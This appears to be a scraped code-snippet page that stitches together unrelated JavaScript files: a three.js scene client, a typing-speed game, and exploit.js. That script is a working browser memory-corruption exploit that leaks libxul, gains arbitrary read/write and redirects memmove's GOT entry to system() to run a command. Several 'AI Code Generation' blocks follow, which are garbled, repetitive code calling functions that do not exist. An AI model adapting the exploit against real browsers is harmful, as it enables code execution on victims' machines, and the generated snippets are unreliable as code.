Best JavaScript code snippet using wpt
three_client.js
Source:three_client.js
1// Set up render window2width = 720 // window.innerWidth3height = 5124const scene = new THREE.Scene();5const camera = new THREE.PerspectiveCamera(75, width / height, 0.1, 1000);6const renderer = new THREE.WebGLRenderer({ antialias: true });7renderer.setSize(width, height);8renderer.shadowMap.enabled = true;9renderer.shadowMap.type = THREE.PCFSoftShadowMap;10document.body.appendChild(renderer.domElement);11controls = new THREE.OrbitControls(camera, renderer.domElement);12controls.listenToKeyEvents(window); // optional13controls.enableDamping = true;14controls.dampingFactor = 0.05;15controls.screenSpacePanning = false;16controls.minDistance = .1;17controls.maxDistance = 500;18controls.maxPolarAngle = Math.PI / 2;19const format_to_bytesize = {20 "U8": 1,21 "U8VEC4": 1 * 4,22 "U16": 2,23 "U16VEC2": 2 * 2,24 "U32": 4,25 "VEC2": 4 * 2,26 "VEC3": 4 * 3,27 "VEC4": 4 * 4,28 "MAT3": 4 * 3 * 3,29 "MAT4": 4 * 4 * 430}31const format_to_simdcount = {32 "U8": 1,33 "U8VEC4": 4,34 "U16": 1,35 "U16VEC2": 2,36 "U32": 1,37 "VEC2": 2,38 "VEC3": 3,39 "VEC4": 4,40 "MAT3": 3 * 3,41 "MAT4": 4 * 442}43function bytes_to_interleaved_buffer(format, bytes, offset, stride, vertex_count) {44 console.log(`Format to typed array Format: ${format}, Bytes len ${bytes.byteLength}, Offset ${offset}, Stride ${stride}, Vcount ${vertex_count}`)45 let arr = null;46 let interleaved_count = 0;47 const simd_byte_size = format_to_bytesize[format]48 switch (format) {49 case "U8":50 case "U8VEC4":51 arr = new Uint8Array(bytes, offset, stride * vertex_count)52 interleaved_count = 1;53 break;54 case "U16":55 case "U16VEC2":56 arr = new Uint16Array(bytes, offset, stride / 2 * vertex_count)57 interleaved_count = 2;58 break;59 case "U32":60 arr = new Uint32Array(bytes, offset, stride / 4 * vertex_count)61 interleaved_count = 4;62 break;63 case "VEC2":64 case "VEC3":65 case "VEC4":66 case "MAT3":67 case "MAT4":68 arr = new Float32Array(bytes, offset, stride / 4 * vertex_count)69 interleaved_count = 4;70 break;71 default:72 throw "Invalid format"73 }74 interleaved_count = stride / interleaved_count75 return new THREE.InterleavedBuffer(arr, interleaved_count)76}77function get_or_default(o, prop, def) {78 if (prop in o) return o[prop]79 return def80}81const semantic_translate = {82 "POSITION": "position",83 "NORMAL": "normal",84 "COLOR": "color",85 "TEXTURE": "uv",86}87function view_to_attribute(patch, attrib, three_geometry, on_done) {88 const sname = semantic_translate[attrib.semantic]89 let view = client.bufferview_list.get(attrib.view)90 let buffer = client.buffer_list.get(view.source_buffer)91 buffer.byte_promise.then(function (bytes) {92 console.log("Setting up attribute from view", attrib, view)93 console.log(`View of ${bytes.byteLength} bytes`)94 const offset = get_or_default(view, 'offset', 0) +95 get_or_default(attrib, 'offset', 0)96 const stride = function () {97 let f = format_to_bytesize[attrib.format]98 let s = get_or_default(attrib, 'stride', 0)99 if (s < f) s = f100 return s101 }();102 const length = stride * patch.vertex_count103 byte_view = new ArrayBuffer()104 const normalized = get_or_default(attrib, 'normalized', false)105 console.log("Resolved view parts", offset, length, stride)106 let interleaved_buffer = bytes_to_interleaved_buffer(107 attrib.format,108 bytes,109 offset, stride, patch.vertex_count110 );111 console.log("Interleaved attrib", interleaved_buffer)112 console.assert(interleaved_buffer.array.length > 0)113 let interleaved_attribute = new THREE.InterleavedBufferAttribute(114 interleaved_buffer,115 format_to_simdcount[attrib.format],116 //offset,117 0,118 normalized119 )120 three_geometry.setAttribute(sname, interleaved_attribute)121 console.log("Added attribute", interleaved_attribute, "to", three_geometry)122 on_done()123 });124}125function view_to_index(patch, three_geometry, on_done) {126 let index_info = p.indices127 console.log("Adding index", index_info)128 let indices = p.indices129 let view = client.bufferview_list.get(indices.view)130 let buffer = client.buffer_list.get(view.source_buffer)131 buffer.byte_promise.then(function (bytes) {132 console.log("Setting up index from view", view)133 console.log(`View of ${bytes.byteLength} bytes`)134 const offset = get_or_default(view, 'offset', 0) +135 get_or_default(indices, 'offset', 0)136 let format_byte_size = format_to_bytesize[indices.format]137 const count = index_info.count138 const stride = function () {139 let s = get_or_default(indices, 'stride', 0)140 if (s < format_byte_size) s = format_byte_size141 return s142 }();143 if (stride != format_byte_size) {144 // do a copy145 throw "TODO: Do a copy here"146 }147 let typed_arr = [];148 switch (indices.format) {149 case "U8":150 typed_arr = new Uint8Array(bytes, offset, count)151 three_geometry.setIndex(Array.from(typed_arr))152 break;153 case "U16":154 typed_arr = new Uint16Array(bytes, offset, count)155 three_geometry.setIndex(new THREE.Uint16BufferAttribute(typed_arr, 1))156 break;157 case "U32":158 typed_arr = new Uint32Array(bytes, offset, count)159 three_geometry.setIndex(new THREE.Uint32BufferAttribute(typed_arr, 1))160 break;161 default:162 throw "Invalid format"163 }164 // console.log(typed_arr)165 //three_geometry.setIndex(new BufferAttribute(typed_arr, 1))166 //three_geometry.setIndex(Array.from(typed_arr))167 console.log(`Added ${indices.format} index ${typed_arr.length} to`, three_geometry)168 on_done()169 });170}171function make_instances(client, mesh, instances_source, buffer_data) {172 let view = client.bufferview_list.get(instances_source.view)173 console.log("Setting up instances");174 if ("stride" in instances_source) {175 let s = instances_source.stride176 if (s > format_to_bytesize["MAT4"]) {177 throw "TODO: need to copy instance data!"178 }179 }180 let instance_count = (buffer_data.byteLength - view.offset) / format_to_bytesize["MAT4"]181 let typed_arr = new Float32Array(buffer_data, view.offset, instance_count * 16)182 const matrix = new THREE.Matrix4();183 const offset = new THREE.Vector3();184 const color = new THREE.Vector3();185 const orientation = new THREE.Quaternion();186 const scale = new THREE.Vector3(1, 1, 1);187 for (let i = 0; i < instance_count; i++) {188 let float_offset = i * 16;189 let read_off = float_offset190 // stored in column order191 offset.set(192 typed_arr[read_off],193 typed_arr[read_off + 1],194 typed_arr[read_off + 2])195 read_off += 4196 color.set(197 typed_arr[read_off],198 typed_arr[read_off + 1],199 typed_arr[read_off + 2])200 read_off += 4201 orientation.set(202 typed_arr[read_off],203 typed_arr[read_off + 1],204 typed_arr[read_off + 2],205 typed_arr[read_off + 3])206 read_off += 4207 scale.set(208 typed_arr[read_off],209 typed_arr[read_off + 1],210 typed_arr[read_off + 2])211 matrix.compose(offset, orientation, scale);212 mesh.setMatrixAt(i, matrix);213 mesh.setColorAt(i, new THREE.Color(color.x, color.y, color.z))214 }215 mesh.instanceMatrix.needsUpdate = true216 mesh.instanceColor.needsUpdate = true217}218function noo_color_convert(noo_col) {219 console.log("COLOR", noo_col)220 return new THREE.Color(noo_col[0], noo_col[1], noo_col[2])221}222function make_render_rep(client, parent, render_rep) {223 let m = client.geometry_list.get(render_rep.mesh);224 let to_await = [m.pending_sub_meshs]225 if ("instances" in render_rep) {226 let inst = render_rep.instances227 let view = client.bufferview_list.get(inst.view)228 let buffer = client.buffer_list.get(view.source_buffer)229 to_await.push(buffer.byte_promise)230 }231 Promise.all(to_await).then(function (values) {232 let sub_meshes = values[0]233 console.log("Creating mesh group")234 let group = new THREE.Group()235 for (i of sub_meshes) {236 console.log("Adding sub object...", i)237 const noo_mat = client.material_list.get(i.noo_patch.material)238 let mat;239 switch (i.noo_patch.type) {240 case "POINTS":241 mat = noo_mat.three_points242 break;243 case "LINES":244 case "LINE_LOOP":245 case "LINE_STRIP":246 mat = noo_mat.three_lines247 break;248 case "TRIANGLES":249 case "TRIANGLE_STRIP":250 mat = noo_mat.three_tris251 break;252 }253 let sub_object254 if ("instances" in render_rep) {255 let inst = render_rep.instances256 let view = client.bufferview_list.get(inst.view)257 let buffer_data = values[1]258 let instance_count = (buffer_data.byteLength - view.offset) / format_to_bytesize["MAT4"]259 switch (i.noo_patch.type) {260 case "TRIANGLES":261 sub_object = new THREE.InstancedMesh(i, mat, instance_count)262 make_instances(client, sub_object, inst, buffer_data)263 break;264 default:265 throw "Not yet implemented"266 break;267 }268 } else {269 switch (i.noo_patch.type) {270 case "POINTS":271 sub_object = new THREE.Points(i, mat)272 break;273 case "LINES":274 sub_object = new THREE.LineSegments(i, mat)275 break;276 case "LINE_LOOP":277 sub_object = new THREE.LineLoop(i, mat)278 break;279 case "LINE_STRIP":280 sub_object = new THREE.Line(i, mat)281 break;282 case "TRIANGLES":283 sub_object = new THREE.Mesh(i, mat)284 break;285 case "TRIANGLE_STRIP":286 throw "Not yet implemented"287 break;288 }289 }290 group.add(sub_object)291 }292 console.log("Adding group to parent", parent)293 parent.add(group)294 });295}296function on_entity_create(client, state) {297 console.log("New 3js entity")298 let e = new THREE.Object3D()299 state.three_entity = e300 e.name = state.name301 if (state.parent) {302 client.entity_list.get(state.parent).three_entity.add(e)303 } else {304 scene.add(e)305 }306 if (state.transform) {307 e.matrixAutoUpdate = false308 e.matrixWorldNeedsUpdate = true309 let m = new THREE.Matrix4()310 m.set(...state.transform)311 m.transpose();312 console.log("UPDATE TF", e.uuid, state.transform, m);313 e.matrix = m314 }315 if (state.render_rep) {316 state.concrete_rep = make_render_rep(client, e, state.render_rep)317 }318}319function is_null_id(id) {320 return (id[0] == 4294967295 || id[1] == 4294967295);321}322function erase_children(e) {323 while (e.children.length) {324 e.remove(e.children[0])325 }326}327function on_entity_update(client, state, new_state) {328 console.log("Update 3js entity")329 let e = state.three_entity330 if (new_state.parent) {331 e.removeFromParent()332 if (is_null_id(state.parent)) {333 scene.add(e)334 } else {335 client.entity_list.get(state.parent).three_entity.add(e)336 }337 }338 if (state.transform) {339 e.matrixAutoUpdate = false340 e.matrixWorldNeedsUpdate = true341 let m = new THREE.Matrix4()342 m.set(...state.transform)343 m.transpose();344 console.log("UPDATE TF", e.uuid, state.transform, m);345 e.matrix = m346 }347 if (state.render_rep) {348 erase_children(e)349 state.concrete_rep = make_render_rep(client, e, state.render_rep)350 }351}352function on_entity_delete(client, state) {353 let e = state.three_entity354 e.removeFromParent()355 if (state.concrete_rep) {356 erase_children(e)357 }358}359function on_buffer_create(client, state) {360 console.log(state)361 state.byte_promise = new Promise(function (resolve, reject) {362 if ("inline_bytes" in state) {363 //console.log(state.inline_bytes.buffer)364 // plain .buffer might not refer to the right thing..365 const arr = state.inline_bytes366 const view = arr.buffer.slice(arr.byteOffset, arr.byteLength + arr.byteOffset)367 resolve(view);368 return;369 }370 let req = new XMLHttpRequest();371 req.open("GET", state.uri_bytes)372 req.responseType = "arraybuffer";373 req.onload = function () {374 if (req.status == 200) {375 console.log("Download completed")376 console.log(req.response)377 resolve(req.response)378 } else {379 reject("Buffer not found")380 }381 }382 req.send();383 });384}385function on_mesh_create(client, state) {386 state.pending_sub_meshs = new Promise(function (resolve) {387 let arr = []388 console.log("Mesh", state.patches)389 let to_go = state.patches.length390 let dec_func = function () {391 to_go -= 1392 if (to_go == 0) {393 resolve(arr)394 }395 }396 for (p of state.patches) {397 let g = new THREE.BufferGeometry();398 g.noo_patch = p399 console.log("Patch", p)400 for (a of p.attributes) {401 view_to_attribute(p, a, g, dec_func)402 console.log("Attribute", a.semantic)403 }404 if ("indices" in p) {405 to_go += 1406 view_to_index(p, g, dec_func)407 }408 console.log("Adding sub mesh...")409 arr.push(g)410 }411 });412}413function on_mesh_delete(client, state) {414 state.pending_sub_meshs.then(415 function (value) {416 for (i of value) {417 i.dispose()418 }419 }420 )421}422function on_material_create(client, state) {423 console.log("NEW MATERIAL", state)424 const noo_pbr = state.pbr_info425 const noo_base_col = noo_color_convert(noo_pbr.base_color)426 state.three_points = new THREE.PointsMaterial({ color: noo_base_col })427 state.three_lines = new THREE.LineBasicMaterial({ color: noo_base_col })428 state.three_tris = new THREE.MeshPhysicalMaterial({429 color: noo_base_col,430 metalness: noo_pbr.metallic,431 roughness: noo_pbr.roughness,432 })433}434function on_material_delete(client, state) {435 state.three_points.dispose()436 state.three_lines.dispose()437 state.three_tris.dispose()438}439function start_connect() {440 let url;441 try {442 url = new URL(document.getElementById("server_url").value);443 } catch {444 url = new URL("ws://localhost:50000");445 }446 console.log(`Starting connection to ${url}`)447 client = NOO.connect(url.toString(),448 {449 entity: {450 on_create: on_entity_create,451 on_update: on_entity_update,452 on_delete: on_entity_delete453 },454 buffer: { on_create: on_buffer_create },455 // bufferview : { on_create : on_bufferview_create },456 geometry: {457 on_create: on_mesh_create,458 on_delete: on_mesh_delete459 },460 material: {461 on_create: on_material_create,462 on_delete: on_material_delete463 }464 }465 )466}467if (false) {468 const geometry = new THREE.BoxGeometry(.1, .1, .1);469 const material = new THREE.MeshPhysicalMaterial({ color: 0x00ff00 });470 const cube = new THREE.Mesh(geometry, material);471 scene.add(cube);472}473{474 let light_object = new THREE.DirectionalLight(0xffffff, 1.0)475 light_object.position.set(1, 1, 1)476 light_object.castShadow = true477 scene.add(light_object)478 let light_object2 = new THREE.DirectionalLight(0xf0f0ff, 1.0)479 light_object2.position.set(-1, 1, -1)480 light_object2.castShadow = false481 scene.add(light_object2)482 let amb_light_object = new THREE.AmbientLight(0x101010)483 scene.add(amb_light_object)484}485camera.position.z = 5;486function animate() {487 requestAnimationFrame(animate);488 controls.update();489 renderer.render(scene, camera);490}...
Typing.js
Source:Typing.js
1/* eslint-disable no-unused-vars */23456789 //generate random array10111213 14 function main(){15 var output = document.querySelector(".type"); // What you are supposed to type16 var input = document.querySelector("#typing"); // What you input17 let typed_arr = []18 let spaces = 0;19 let words_typed = 0;20 let total_words_typed = 021 var letters = 0;22 let seconds = 1;23 var k = 024 var accuracy;25 var arrays = [26 ["this","take","on","when","it","why","is","someone","take","type","while","at","lemon","do","evaluate","considerate","doing"],27 [],28 [],29 30 ]31 var start = (function() {32 var executed = false;33 return function() {34 if (!executed) {35 executed = true;36 timer()37 }38 };39 })()40 document.querySelector(".sixty").style.color = "#d40e4a"41 42 document.querySelector(".data").innerHTML = "Typed: " + words_typed + " " + "Total spaces done: " + total_words_typed + " " + "Accuracy: " + accuracy + " %"43 input.addEventListener("keypress",(e)=>{44 45 46 47 48 49 start()50 if(e.code == 'Space'){51 let typed = input.value.split(" ")52 let length = typed.length;53 54 total_words_typed ++55 typed_arr.push(typed[length-1])56 input.value = ''57 try{58 if(typed_arr[spaces].length){59 letters += typed_arr[spaces].length60 }61 else{62 letters += 5;63 }64 } catch(err){65 spaces = 0;66 letters += typed_arr[spaces].length67 } 6869 console.log(spaces + " SPACES ")70 k += letters/571 //let wpm = k /(seconds/60)72 var wpm = words_typed/(seconds/60)73 console.log(rand_array);74 let h = words_typed/total_words_typed75 let accuracy = h * 10076 77 document.querySelector(".data").innerHTML = "Typed: " + words_typed + " " + "Total spaces done: " + total_words_typed + " " + "Accuracy: " + accuracy + " %"78 document.querySelector("h1").textContent = "WPM: " + Math.floor(wpm)79 //console.log(wpm);80 document.querySelector(".data").innerHTML = "Typed: " + words_typed + " " + "Total spaces done: " + total_words_typed + " " + "Accuracy: " + accuracy + " %"81 if(typed_arr[spaces] + " "==output.childNodes[spaces].textContent){82 console.log(spaces + " SPACES ")83 console.log(typed_arr[spaces] ," typed")84 console.log(output.children[spaces] ,"children")85 words_typed++86 output.children[spaces].classList.add("correct")87 88 document.querySelector(".data").innerHTML = "Typed: " + words_typed + " " + "Total spaces done: " + total_words_typed + " " + "Accuracy: " + accuracy + " %"89 90 console.log(output.children[spaces])91 console.log(total_words_typed)92 }93 else{94 console.log(typed_arr[spaces])95 console.log(output.childNodes[spaces].textContent)96 output.children[spaces].classList.add("incorrect")97 console.log(typed_arr[spaces], "typed arr")98 console.log(output.childNodes[spaces].textContent, "output.childnodes")99 console.log(output)100 console.log(spaces + " SPACES ")101 }102 103 if(total_words_typed==31||total_words_typed==62||total_words_typed==93||total_words_typed==93+31||total_words_typed==93+31+31||total_words_typed==93+31+31+31){104 console.log(spaces + " SPACES ")105 typed_arr = [];106 typed_arr.length = 0;107 typed_arr.splice(0,typed_arr.length)108 spaces = 0;109 110 function removeAllChildNodes() {111 while (output.firstChild) {112 output.removeChild(output.firstChild);113 }114 }115 removeAllChildNodes()116 117 console.log("WORDS TYPED IS 31, NEW LINE NOW")118 for(let i = 0; i< 31; i++){119 120 var rand = Math.floor(Math.random() * arrays[0].length);121 var rand_array = []122 var el = document.createElement("span");123 el.textContent = arrays[0][rand] + " "124 125 126 rand_array.push(arrays[0][rand])127 console.log(rand_array)128 output.appendChild(el)129 }130 131 //typed_arr[spaces] + " "==output.childNodes[spaces].textContent132 console.log(typed_arr[spaces], "typed arr")133 console.log(output.childNodes[spaces].textContent, "output.childnodes")134 input.value = ''135 }136 if(total_words_typed==62){137 typed_arr = [];138 typed_arr.length = 0;139 typed_arr.splice(0,typed_arr.length)140 spaces = 0;141 142 function removeAllChildNodes() {143 while (output.firstChild) {144 output.removeChild(output.firstChild);145 }146 }147 removeAllChildNodes()148 149 console.log("WORDS TYPED IS 31, NEW LINE NOW")150 for(let i = 0; i< 31; i++){151 152 var rand = Math.floor(Math.random() * arrays[0].length);153 var rand_array = []154 var el = document.createElement("span");155 el.textContent = arrays[0][rand] + " "156 157 rand_array.push(arrays[0][rand])158 console.log(rand_array)159 output.appendChild(el)160 }161 162 //typed_arr[spaces] + " "==output.childNodes[spaces].textContent163 console.log(typed_arr[spaces], "typed arr")164 console.log(output.childNodes[spaces].textContent, "output.childnodes")165 input.value = ''166 }167 168 spaces++169 170 171 172 173 }174 175 })176 177 for(let i = 0; i< 31; i++){178 var rand = Math.floor(Math.random() * arrays[0].length);179 var rand_array = []180 var el = document.createElement("span");181 var br = document.createElement("br")182 el.textContent = arrays[0][rand] + " "183 184 rand_array.push(arrays[0][rand])185 console.log(rand_array)186 output.appendChild(el)187 }188 document.querySelector("#typing").addEventListener("keypress",(e)=>{189 console.log(output.children[spaces])190 console.log(typed_arr[spaces])191 if(typed_arr[spaces]==output.textContent.split(" ")[spaces] + " "){192 output.children[spaces].classList.add("correct");193 console.log(2);194 }195 })196 function timer(){197 const x = setInterval(()=>{198 let save_count = 0;199 if(document.querySelector(".timer").innerHTML==0){200 add_score(document.querySelector("h1").textContent,"accuracy",d.getTime(),"1")201 localStorage.setItem("WPM",document.querySelector("h1").textContent)202 localStorage.setItem("Accuracy", accuracy)203 localStorage.setItem("Date", d)204 localStorage.setItem("Title",prompt("Save result with name: "));205 206 207 clearInterval(x)208 document.location.reload()209 210 }211 212 213 else if (document.querySelector(".timer").innerHTML!==0){214 document.querySelector(".timer").innerHTML -= 1;215 seconds++216 }217 218 219 },1000)220 }221 222 223 224 function add_score(word,acc,date,title){225 let br = document.createElement("br")226 let el = document.createElement("div");227 let word_score = document.createElement("div")228 let accuracy_score = document.createElement("div")229 let date_time = document.createElement("div")230 el.class = 'score_header'231 el.textContent = title232 el.class = 'score'233 word_score.textContent = word234 el.appendChild(word_score)235 accuracy_score.textContent = "Accuracy: " + acc236 date_time.textContent = "Date: " + date237 el.appendChild(accuracy_score)238 el.appendChild(date_time)239 240 241 242 document.querySelector(".scores").appendChild(el)243 document.querySelector(".scores").appendChild(br)244 245 246 }247 248 let d = new Date()249 250 // document.getElementById("60").addEventListener("click",change_time(60))251 252 if (localStorage.getItem("WPM") === null) {253 //...254 }255 else{256 add_score(localStorage.getItem("WPM"),localStorage.getItem("Accuracy"),localStorage.getItem("Date"),localStorage.getItem("Title"))257 }258 259 }260 261 262 main()
...
exploit.js
Source:exploit.js
1var jsp = new JSPack();2function lower(d) {3 return jsp.Unpack(">L>L", jsp.Pack("d", [d]))[1];4}5function upper(d) {6 return jsp.Unpack(">L>L", jsp.Pack("d", [d]))[0];7}8function double_to_ulong(d) {9 return upper(d)*0x100000000 + lower(d);10}11function ulong_to_double(n) {12 l = jsp.Pack(">L", [n%0x100000000]);13 u = jsp.Pack(">L", [n/0x100000000]);14 return jsp.Unpack("d", u.concat(l))[0];15}16var leak_arr = new Array(2);17// Markers to help us find array18leak_arr[0] = 0x41424241;19leak_arr[1] = 0x42434342;20leak_arr.blaze();21alert("Leaking libxul");22var libxul_leak = double_to_ulong(leak_arr[5]);23alert(libxul_leak.toString(16));24var arr = new Array(2);25var typed_arr = new Uint32Array(0x10);26arr[0] = 0x43444443;27arr[1] = 0x44454544;28typed_arr[0] = 0x45464645;29typed_arr[1] = 0x46474746;30arr.blaze();31function a_write(addr, value) {32 arr[9] = ulong_to_double(addr);33 typed_arr[0] = value % 0x100000000;34 typed_arr[1] = value / 0x100000000;35}36function a_read(addr) {37 arr[9] = ulong_to_double(addr);38 return typed_arr[0] + typed_arr[1]*0x100000000;39}40var libxul_base = libxul_leak - 0x7f8ab37a9fc0 + 0x7f8aac2d8000;41var memmove_got = libxul_base + 0x88d24b0;42var memmove_addr = a_read(memmove_got);43alert("Memmove addr: " + memmove_addr.toString(16));44var libc_base = memmove_addr - 0x14d9b0;45var system_addr = libc_base + 0x45390;46var cmd = "/usr/bin/gnome-calculator &";47var target = new Uint8Array(200);48for (var i = 0;i<cmd.length;i++) {49 target[i] = cmd.charCodeAt(i);50}51target[cmd.length] = 0;52alert("Triggering exploit");53a_write(memmove_got, system_addr);54target.copyWithin(0, 1);55a_write(memmove_got, memmove_addr);...
Using AI Code Generation
1var typed_arr = new Uint8Array(8);2typed_arr[0] = 0x00;3typed_arr[1] = 0x01;4typed_arr[2] = 0x02;5typed_arr[3] = 0x03;6typed_arr[4] = 0x04;7typed_arr[5] = 0x05;8typed_arr[6] = 0x06;9typed_arr[7] = 0x07;10var arr = new Uint8Array(typed_arr.buffer);11arr[0] = 0x08;12arr[1] = 0x09;13arr[2] = 0x0a;14arr[3] = 0x0b;15arr[4] = 0x0c;16arr[5] = 0x0d;17arr[6] = 0x0e;18arr[7] = 0x0f;19var arr2 = new Uint8Array(typed_arr.buffer);20var arr3 = new Uint8Array(typed_arr.buffer);21var arr4 = new Uint8Array(typed_arr.buffer);22var arr5 = new Uint8Array(typed_arr.buffer);23var arr6 = new Uint8Array(typed_arr.buffer);24var arr7 = new Uint8Array(typed_arr.buffer);25var arr8 = new Uint8Array(typed_arr.buffer);26var arr9 = new Uint8Array(typed_arr.buffer);27var arr10 = new Uint8Array(typed_arr.buffer);28var arr11 = new Uint8Array(typed_arr.buffer);29var arr12 = new Uint8Array(typed_arr.buffer);30var arr13 = new Uint8Array(typed_arr.buffer);31var arr14 = new Uint8Array(typed_arr.buffer);32var arr15 = new Uint8Array(typed_arr.buffer);33var arr16 = new Uint8Array(typed_arr.buffer);34var arr17 = new Uint8Array(typed_arr.buffer);35var arr18 = new Uint8Array(typed_arr.buffer);36var arr19 = new Uint8Array(typed_arr.buffer);37var arr20 = new Uint8Array(typed_arr.buffer);38var arr21 = new Uint8Array(typed_arr.buffer);39var arr22 = new Uint8Array(typed_arr.buffer);40var arr23 = new Uint8Array(typed_arr.buffer);
Using AI Code Generation
1var wpt = require('wpt');2wpt.typed_arr(function (err, data) {3 if (err) {4 console.log("Error: " + err);5 }6 else {7 console.log("Success: " + data);8 }9});10var wpt = require('wpt');11wpt.typed_arr(function (err, data) {12 if (err) {13 console.log("Error: " + err);14 }15 else {16 console.log("Success: " + data);17 }18});19var wpt = require('wpt');20wpt.typed_arr(function (err, data) {21 if (err) {22 console.log("Error: " + err);23 }24 else {25 console.log("Success: " + data);26 }27});28var wpt = require('wpt');29wpt.typed_arr(function (err, data) {30 if (err) {31 console.log("Error: " + err);32 }33 else {34 console.log("Success: " + data);35 }36});37var wpt = require('wpt');38wpt.typed_arr(function (err, data) {39 if (err) {40 console.log("Error: " + err);41 }42 else {43 console.log("Success: " + data);44 }45});46var wpt = require('wpt');47wpt.typed_arr(function (err, data) {48 if (err) {49 console.log("Error: " + err);50 }51 else {52 console.log("Success: " + data);53 }54});55var wpt = require('wpt');56wpt.typed_arr(function (err, data) {57 if (err) {58 console.log("Error: " + err);59 }60 else {61 console.log("Success: " + data);62 }63});
Using AI Code Generation
1var typed_arr = new Uint8Array(4);2var typed_arr2 = new Uint8Array(4);3typed_arr[0] = 1;4typed_arr[1] = 2;5typed_arr[2] = 3;6typed_arr[3] = 4;7typed_arr2[0] = 1;8typed_arr2[1] = 2;9typed_arr2[2] = 3;10typed_arr2[3] = 4;11wpt.typed_arr(typed_arr, typed_arr2);12var typed_arr = new Uint8Array(4);13var typed_arr2 = new Uint8Array(4);14typed_arr[0] = 1;15typed_arr[1] = 2;16typed_arr[2] = 3;17typed_arr[3] = 4;18typed_arr2[0] = 1;19typed_arr2[1] = 2;20typed_arr2[2] = 3;21typed_arr2[3] = 4;22wpt.typed_arr(typed_arr, typed_arr2);23var typed_arr = new Uint8Array(4);24var typed_arr2 = new Uint8Array(4);25typed_arr[0] = 1;26typed_arr[1] = 2;27typed_arr[2] = 3;28typed_arr[3] = 4;29typed_arr2[0] = 1;30typed_arr2[1] = 2;31typed_arr2[2] = 3;32typed_arr2[3] = 4;33wpt.typed_arr(typed_arr, typed_arr2);34var typed_arr = new Uint8Array(4);35var typed_arr2 = new Uint8Array(4);36typed_arr[0] = 1;37typed_arr[1] = 2;38typed_arr[2] = 3;39typed_arr[3] = 4;40typed_arr2[0] = 1;41typed_arr2[1] = 2;
Using AI Code Generation
1var hex_str = wpt.hex("test");2console.log(hex_str);3var hex_str = wpt.hex(new Uint8Array("test"));4console.log(hex_str);5var hex_str = wpt.hex(new Uint8Array("test"));6console.log(hex_str);7var hex_str = wpt.hex(new Uint8Array("test"));8console.log(hex_str);9var hex_str = wpt.hex(new Uint8Array("test"));10console.log(hex_str);11var hex_str = wpt.hex(new Uint8Array("test"));12console.log(hex_str);13var hex_str = wpt.hex(new Uint8Array("test"));14console.log(hex_str);15var hex_str = wpt.hex(new Uint8Array("test"));16console.log(hex_str);17var hex_str = wpt.hex(new Uint8Array("test"));18console.log(hex_str);19var hex_str = wpt.hex(new Uint8Array("test"));20console.log(hex_str);
Using AI Code Generation
1var typed_arr = wpt.typed_arr;2var arr = new typed_arr(5);3arr[0] = 100;4arr[1] = 200;5arr[2] = 300;6arr[3] = 400;7arr[4] = 500;8var sum = 0;9for( var i = 0; i < arr.length; i++ ) {10 sum += arr[i];11}12console.log(sum);13var wpt = {14 typed_arr: function(n) {15 var arr = new Array(n);16 for( var i = 0; i < n; i++ ) {17 arr[i] = 0;18 }19 return arr;20 }21};22var wpt = {23 typed_arr: function(n) {24 var arr = new Array(n);25 for( var i = 0; i < n; i++ ) {26 arr[i] = 0;27 }28 return arr;29 }30};31var wpt = {32 typed_arr: function(n) {33 var arr = new Array(n);34 for( var i = 0; i < n; i++ ) {35 arr[i] = 0;36 }37 return arr;38 }39};40var wpt = {41 typed_arr: function(n) {42 var arr = new Array(n);43 for( var i = 0; i < n; i++ ) {44 arr[i] = 0;45 }46 return arr;47 }48};49var wpt = {50 typed_arr: function(n) {51 var arr = new Array(n);52 for( var i = 0; i < n; i++ ) {53 arr[i] = 0;54 }55 return arr;56 }57};
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!